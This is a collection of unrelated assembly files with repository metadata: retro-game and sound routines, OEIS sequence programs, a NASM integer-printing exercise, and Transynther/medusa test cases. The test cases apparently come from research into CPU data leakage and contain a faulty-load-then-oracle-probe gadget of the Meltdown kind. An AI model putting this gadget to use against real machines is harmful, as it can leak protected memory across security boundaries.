jr use_volume_a
;----------------------------------------------
SECTION bss_clib
DEFVARS 0
{
ch_ptr_track ds.w 1
ch_ptr_instrument ds.w 1
ch_ptr_instrument_loop ds.w 1
ch_ptr_ornament ds.w 1
ch_ptr_ornament_loop ds.w 1
ch_ptr_instrument_pitch ds.w 1
ch_volume ds.b 1
ch_ornament_note ds.b 1
ch_note ds.b 1
ch_ptr_instrument_start ds.w 1
ch_ptr_ornament_start ds.w 1
ch_delay_next_note ds.b 1
ch_delay_next_ornament ds.b 1
ch_delay_next_instrument ds.b 1
ch_delay_next_volume ds.b 1
ch_instrument_inversion ds.b 1
ch_volume_reduction ds.b 1
str_channel_size ds.b 0
}
str_channel_0: defs str_channel_size
str_channel_1: defs str_channel_size
str_channel_2: defs str_channel_size
str_channel_3: defs str_channel_size
str_channel_4: defs str_channel_size
str_channel_5: defs str_channel_size
out:
defb 0 ; $00 amplitude_0
defb 0 ; $01 amplitude_1
defb 0 ; $02 amplitude_2
defb 0 ; $03 amplitude_3
defb 0 ; $04 amplitude_4
defb 0 ; $05 amplitude_5
defb 0 ; ---
defb 0 ; ---
defb 0 ; $08 frequency_tone_0
defb 0 ; $09 frequency_tone_1
defb 0 ; $0a frequency_tone_2
defb 0 ; $0b frequency_tone_3
defb 0 ; $0c frequency_tone_4
defb 0 ; $0d frequency_tone_5
defb 0 ; ---
defb 0 ; ---
defb 0 ; $10 octave_1_0
defb 0 ; $11 octave_3_2
defb 0 ; $12 octave_5_4
defb 0 ; ---
defb 0 ; $14 frequency_enable
defb 0 ; $15 noise_enable
defb 0 ; $16 noise_generator_1_0
defb 0 ; ---
defb 0 ; $18 envelope_generator_0
defb 0 ; $19 envelope_generator_1
var_noise_0: defb 0
var_noise_1: defb 0
out_size: equ $ - out
SECTION smc_clib
;==============================================
init:
; input
; hl = start address of compiled module
;----------------------------------------------
ld (var_module_start+1),hl
call bc_eq_section
ld (var_song_table+1),bc
call bc_eq_section
ld (var_patterns+1),bc
call bc_eq_section
ld (var_instruments+1),bc
call bc_eq_section
ld (var_ornaments+1),bc
call bc_eq_section
ld a,(bc)
inc bc
ld (var_default_volume_delay+1),a
ld (var_volume_delay+1),bc
ld hl,str_channel_0
ld b,6 * str_channel_size + out_size
xor a
loop4:
ld (hl),a
inc hl
djnz loop4
inc a ; -> a = 1
ld (var_delay+1),a
ld ix,str_channel_0
ld de,str_channel_size
ld b,6
loop5:
ld (ix+ch_delay_next_ornament),a ; a = 1
ld (ix+ch_delay_next_instrument),a ; a = 1
ld (ix+ch_delay_next_volume),a ; a = 1
ld hl,instrument_none
ld (ix+ch_ptr_instrument_start ),l
ld (ix+ch_ptr_instrument_start+1),h
ld (ix+ch_ptr_instrument ),l
ld (ix+ch_ptr_instrument+1),h
ld hl,ornament_none
ld (ix+ch_ptr_ornament_start ),l
ld (ix+ch_ptr_ornament_start+1),h
add ix,de
djnz loop5
ld de,saa_register_sound_enable * $100 + saa_se_generators_reset
ld bc,port_sound_address
out (c),d
dec b
out (c),e
;----------------------------------------------
read_song_table:
; song table entries are a multiple of 3 -> [$00,$03,$06 __ $5a,$5d]
var_song_table:
ld hl,0
init_song_table:
ld c,(hl)
ld a,c
inc hl
inc a
jr z,song_table_get_loop ; a = $ff -> end of song
inc a
jr z,song_table_set_loop ; a = $fe
sub $62
jr nc,song_table_set_height ; a >= $60 (a was incremented twice above)
ld (var_song_table+1),hl
sla c ; c * 2 -> song_table is multiple of 3 -> per channel
var_patterns:
ld hl,0
call bc_eq_section_c
ld (str_channel_0+ch_ptr_track),bc
call bc_eq_section
ld (str_channel_1+ch_ptr_track),bc
call bc_eq_section
ld (str_channel_2+ch_ptr_track),bc
call bc_eq_section
ld (str_channel_3+ch_ptr_track),bc
call bc_eq_section
ld (str_channel_4+ch_ptr_track),bc
call bc_eq_section
ld (str_channel_5+ch_ptr_track),bc
ret
;==============================================
song_table_get_loop:
var_song_table_loop:
ld hl,0
jr init_song_table
;==============================================
song_table_set_loop:
ld (var_song_table_loop+1),hl
jr init_song_table
;==============================================
song_table_set_height:
; input
; a = [$00-$9b]
ld (var_pattern_height+1),a
jr init_song_table
;==============================================
; easier to debug module when aligned
; align $1000
module:
ENDIF
| 21.986085 | 95 | 0.527741 |
3e9410a6320a2281fb2b68ef3738a76c636004fd | 6,648 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_18495_1614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_18495_1614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_18495_1614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x12131, %rax
clflush (%rax)
xor $54757, %r11
mov $0x6162636465666768, %r14
movq %r14, %xmm4
vmovups %ymm4, (%rax)
xor %r14, %r14
lea addresses_normal_ht+0xad31, %rdx
nop
nop
nop
nop
and %r11, %r11
mov $0x6162636465666768, %r14
movq %r14, %xmm5
movups %xmm5, (%rdx)
nop
nop
xor %rdi, %rdi
lea addresses_D_ht+0x195ac, %rsi
lea addresses_A_ht+0x4e31, %rdi
nop
nop
add $5469, %r8
mov $105, %rcx
rep movsb
cmp $64599, %r14
lea addresses_A_ht+0x125f1, %r11
nop
add $47647, %r8
mov (%r11), %edi
nop
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_WC_ht+0x1bf11, %r8
sub $12739, %r14
mov $0x6162636465666768, %rax
movq %rax, %xmm7
vmovups %ymm7, (%r8)
nop
dec %rsi
lea addresses_normal_ht+0x1b741, %rdi
nop
nop
add %rax, %rax
movw $0x6162, (%rdi)
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x8b41, %r8
nop
nop
nop
xor %r11, %r11
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%r8)
nop
nop
nop
nop
nop
sub $41613, %r8
lea addresses_WT_ht+0x1ea13, %r11
and $35017, %rax
movb $0x61, (%r11)
nop
nop
sub %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %rbp
push %rcx
push %rdi
push %rdx
// Load
lea addresses_RW+0xfbb1, %rdi
nop
nop
nop
nop
nop
dec %r11
mov (%rdi), %edx
nop
nop
dec %rdi
// Store
lea addresses_WC+0xe495, %r12
clflush (%r12)
xor $22073, %r10
movw $0x5152, (%r12)
nop
nop
cmp $693, %rbp
// Store
lea addresses_PSE+0x6d19, %rcx
nop
nop
add %rdi, %rdi
movl $0x51525354, (%rcx)
nop
nop
nop
nop
sub $57691, %rbp
// Faulty Load
lea addresses_D+0x1c631, %r10
nop
nop
nop
nop
and %rdx, %rdx
mov (%r10), %r11w
lea oracles, %rdx
and $0xff, %r11
shlq $12, %r11
mov (%rdx,%r11,1), %r11
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'36': 18495}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 36.729282 | 2,999 | 0.655385 |
19d16cd5cde42c5521c97c6c0d6e731cabbf50ee | 260 | asm | Assembly | src/res/scenes/scene1.asm | Xeyler/gb-hello-world | f8a10a3589caab9d3d183d459cdfd070c1d73070 | [
"MIT"
] | null | null | null | src/res/scenes/scene1.asm | Xeyler/gb-hello-world | f8a10a3589caab9d3d183d459cdfd070c1d73070 | [
"MIT"
] | null | null | null | src/res/scenes/scene1.asm | Xeyler/gb-hello-world | f8a10a3589caab9d3d183d459cdfd070c1d73070 | [
"MIT"
] | null | null | null |
SECTION "scene1", ROMX
scene1::
.tileset_length::
dw .tileset_end - .tileset
.tileset::
INCLUDE "res/scenes/tilesets/test.asm"
.tileset_end::
.metatileset::
INCLUDE "res/scenes/metatilesets/metatiles.asm"
.tilemap::
INCLUDE "res/scenes/tilemaps/map.asm"
| 18.571429 | 48 | 0.746154 |
2d9bb9339cde98347cb86ed37a6a00ec98fee463 | 422 | asm | Assembly | programs/oeis/196/A196226.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/196/A196226.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/196/A196226.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A196226: m such that A054024(m) (sum of divisors of m reduced modulo m) is 3 + m/2.
; 8,10,14,22,26,34,38,46,58,62,74,82,86,94,106,118,122,134,142,146,158,166,178,194,202,206,214,218,226,254,262,274,278,298,302,314,326,334,346,358,362,382,386,394,398,422,446,454,458,466,478,482,502,514
add $0,1
cal $0,140777 ; a(n) = 2*prime(n) - 4.
mov $1,-1
mov $2,$0
sub $2,1
div $2,2
add $1,$2
add $1,1
trn $1,1
mul $1,2
add $1,8
| 28.133333 | 202 | 0.654028 |
03ed876b33733b443ce79a5b78cbaab38902a8ee | 258 | asm | Assembly | programs/oeis/006/A006001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/006/A006001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/006/A006001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A006001: Number of paraffins.
; 1,4,10,22,43,76,124,190,277,388,526,694,895,1132,1408,1726,2089,2500,2962,3478,4051,4684,5380,6142,6973,7876,8854,9910,11047,12268,13576,14974,16465,18052,19738,21526
mov $1,$0
add $1,1
bin $1,3
add $0,$1
mul $0,3
add $0,1
| 25.8 | 168 | 0.717054 |
b17d288752690ad45bb0ffde79b03df201215d91 | 536 | asm | Assembly | oeis/197/A197723.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/197/A197723.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/197/A197723.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A197723: Decimal expansion of (3/2)*Pi.
; Submitted by Jon Maiga
; 4,7,1,2,3,8,8,9,8,0,3,8,4,6,8,9,8,5,7,6,9,3,9,6,5,0,7,4,9,1,9,2,5,4,3,2,6,2,9,5,7,5,4,0,9,9,0,6,2,6,5,8,7,3,1,4,6,2,4,1,6,8,8,8,4,6,1,7,2,4,6,0,9,4,2,9,3,1,3,4,9,7,9,4,2,0,5,2,2,3,8,0,1,3,1,7,5,6,0,1
mov $1,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
cmp $4,0
mov $5,$0
add $5,$4
div $1,$5
div $2,$5
sub $3,1
lpe
mul $1,3
add $1,1
mov $6,10
pow $6,$0
div $2,$6
div $1,$2
mov $0,$1
mod $0,10
| 17.290323 | 201 | 0.516791 |
a53ae85edd8828a03dd72695e213377843a3dab7 | 3,978 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_311.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_311.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_311.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rbp
push %rcx
lea addresses_normal_ht+0x53b2, %r14
add $61244, %r13
movb $0x61, (%r14)
nop
nop
nop
nop
nop
cmp $26583, %rbp
pop %rcx
pop %rbp
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rax
// Faulty Load
lea addresses_normal+0x14792, %rax
dec %r12
mov (%rax), %r9
lea oracles, %r11
and $0xff, %r9
shlq $12, %r9
mov (%r11,%r9,1), %r9
pop %rax
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 71.035714 | 2,999 | 0.663399 |
9a570d36d185f7bc43ca6d7a8472fbb5255619af | 3,370 | asm | Assembly | notes/nasm/print_uint.asm | gr0uch0dev/AssemblyExercisesAndNotes | 3b5fb0bb463dee439a8d7934d4ca74fe8f47179f | [
"MIT"
] | null | null | null | notes/nasm/print_uint.asm | gr0uch0dev/AssemblyExercisesAndNotes | 3b5fb0bb463dee439a8d7934d4ca74fe8f47179f | [
"MIT"
] | null | null | null | notes/nasm/print_uint.asm | gr0uch0dev/AssemblyExercisesAndNotes | 3b5fb0bb463dee439a8d7934d4ca74fe8f47179f | [
"MIT"
] | null | null | null | ; write a program that prints 123123 in STDOUT
global _start
section .data
num: dd 12312311; use a label to refer to a specific location in memory
newline: db 0xA
section .test
string_len:
xor rax, rax; empty rax to be used as counter over the elements
.loop:
cmp byte[rdi + rax], 0
je .end
inc rax
jmp .loop
.end:
ret
print_newline:
xor rax, rax
mov rax, 1; we want to WRITE
mov rdi, 1; into the 1 file descriptor (STDOUT)
mov rsi, newline; newline char
mov rdx, 1; just one byte
syscall
ret
print_string:
push rdi; caller-saved argument
call string_len
pop rsi; take from the stack the old value of rdi that is now stored in rsi because this is the starting point for printing
mov rdx, rax; how many bytes we need to read equals the length of the string we just computed through the previous call
mov rax, 1
mov rdi, 1
syscall
ret;
print_uint:
mov rax, rdi
push 0; 0 is pushed to the stack. This will be the termination point for the string representing the number
mov rdi, rsp;
sub rsp, 16; we create a buffer on the stack that we are going to fill
; with the previous we take 16 bytes from the stack
dec rdi; move below the 0 is pointing to
mov r8, 10;
.loop:
xor rdx, rdx;
div r8; quotient will be saved in rax while reminder in rdx
or dl, 0x30; dl is the lowest byte of rdx. Here we get the relevant ascii code for the reminder (the bitwise or is going to increse the 0x30 moving over the ascii table)
dec rdi;
mov [rdi], dl
test rax, rax
jnz .loop
call print_string
add rsp, 24 ; why 24 here??? if less there will be a segmentation fault
; we give back space to the stack that we don't need anymore
; SOLUTION: is 24 because the architecture is 64 bits so the slot are of 8*8
; this means that we need to go back and pass the block that contains the 0 (made of 8 slices of 8 bits)
; ______________________________________________________________________________________
; if we add back to the stack 24 of buffer we get to the state before the 0 was pushed into the stack
; recall that the status of the world has to be resetted at the end of the function execution
; when we pop from the stack we need to get the same rip we pushed by calling the funcion
ret
_start:
;mov rdi, qword[num] ; this will create problems becuase the compiler will go to read in more memory area than desired
mov edi, dword[num] ; num is used as a label for the memory area while we need to get the data in the memory cell
; how can we extend the 32 bit num so that the remaining bits are 0 instead of taking it from memory
call print_uint
call print_newline
mov rax, 60;
xor rdi,rdi;
syscall;
; Troubles encountered/ mistakes I made
; 1) pushing into the registry data with lower bits than 64
; if we print without the newline everythin works fine
; but if we add the newline, this is printed but the number showed is different
; we were accessing the memory like this: mov rdi, [num]
; but instead of 32bits the compiler was trying to put into rdi 64bits
; if there was nothing into the memory(undefined) we did not get the unexpected behaviour
; but if in the adjacent places in memory there was some data (like newline in this case)
; then we get a corruption due to this data
; so since [num] will go to
| 37.032967 | 173 | 0.72819 |
6c376f52fdf93ace8495839cd11c9d31df5e0b51 | 9,297 | asm | Assembly | lib.asm | jorgicor/altair | a83f4a5b177c366000f69cb261befb499602aa69 | [
"MIT"
] | null | null | null | lib.asm | jorgicor/altair | a83f4a5b177c366000f69cb261befb499602aa69 | [
"MIT"
] | null | null | null | lib.asm | jorgicor/altair | a83f4a5b177c366000f69cb261befb499602aa69 | [
"MIT"
] | null | null | null | ; ----------------------------------------------------------------------------
; Altair, CIDLESA's 1981 arcade game remade for the ZX Spectrum and
; Amstrad CPC.
; ----------------------------------------------------------------------------
; -----------------
; 'jphl' Juml to HL
; -----------------
; This can be used with 'call jphl' to call the routine contained in HL.
jphl jp (hl)
; -------------
; 'modb' Modulo
; -------------
; Calculates A mod E. If E is 0, returns A, that is, acts as A mod 256.
;
; In A, E.
; Out A = A mod E
; Saves HL, BC, DE
; Works by subtracting E, E * 2, E * 4, ... and again E, E * 2, E * 4 until
; no more can be subtracted.
modb
; Check if E is 0.
rlc e
jr nz,modb3
; It's 0.
rrc e
ret
modb3
; Not 0. Restore and continue.
rrc e
modb4 push de
modb1 cp e
jr c,modb2
sub e
sla e
jr nz,modb1
modb2 pop de
cp e
jr nc,modb4
ret
; -----------------------
; 'randr' Random In Range
; -----------------------
; Calcs a random number in range [D,E].
;
; In [D,E] range.
; Out A random number.
; Saves HL, BC
randr inc e
ld a,e
sub d
ld e,a
call rand
call modb
add a,d
ret
; -------------------
; 'memset' Memory Set
; -------------------
; Like the C function. Sets memory to a value.
;
; In HL address of first byte. BC how many to set. A value to set to.
memset
; Save value to set in e.
ld e,a
; If 0 return.
ld a,b
or c
ret z
; Set first value.
ld (hl),e
; We are going to set BC - 1, as the first is already set.
dec bc
; If we are done return.
ld a,b
or c
ret z
; Copy from the previous to the next byte.
ld d,h
ld e,l
inc de
ldir
ret
; ----------------------------
; 'getwt' Get Word in Table
; ----------------------------
; Implements LD HL,(HL+A*2)
;
; In A index in table. HL table.
; Out HL word at HL+A*2.
; Saves AF, DE, BC.
getwt push af
push bc
ld c,a
ld b,0
add hl,bc
add hl,bc
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
pop bc
pop af
ret
; ----------------------------
; 'getbt' Get Byte in Table
; ----------------------------
; Implements LD A,(HL+A)
;
; In A index in table. HL table.
; Out A byte.
; Saves HL, DE, BC.
getbt push hl
add a,l
ld l,a
ld a,h
adc a,0
ld h,a
ld a,(hl)
pop hl
ret
; ------
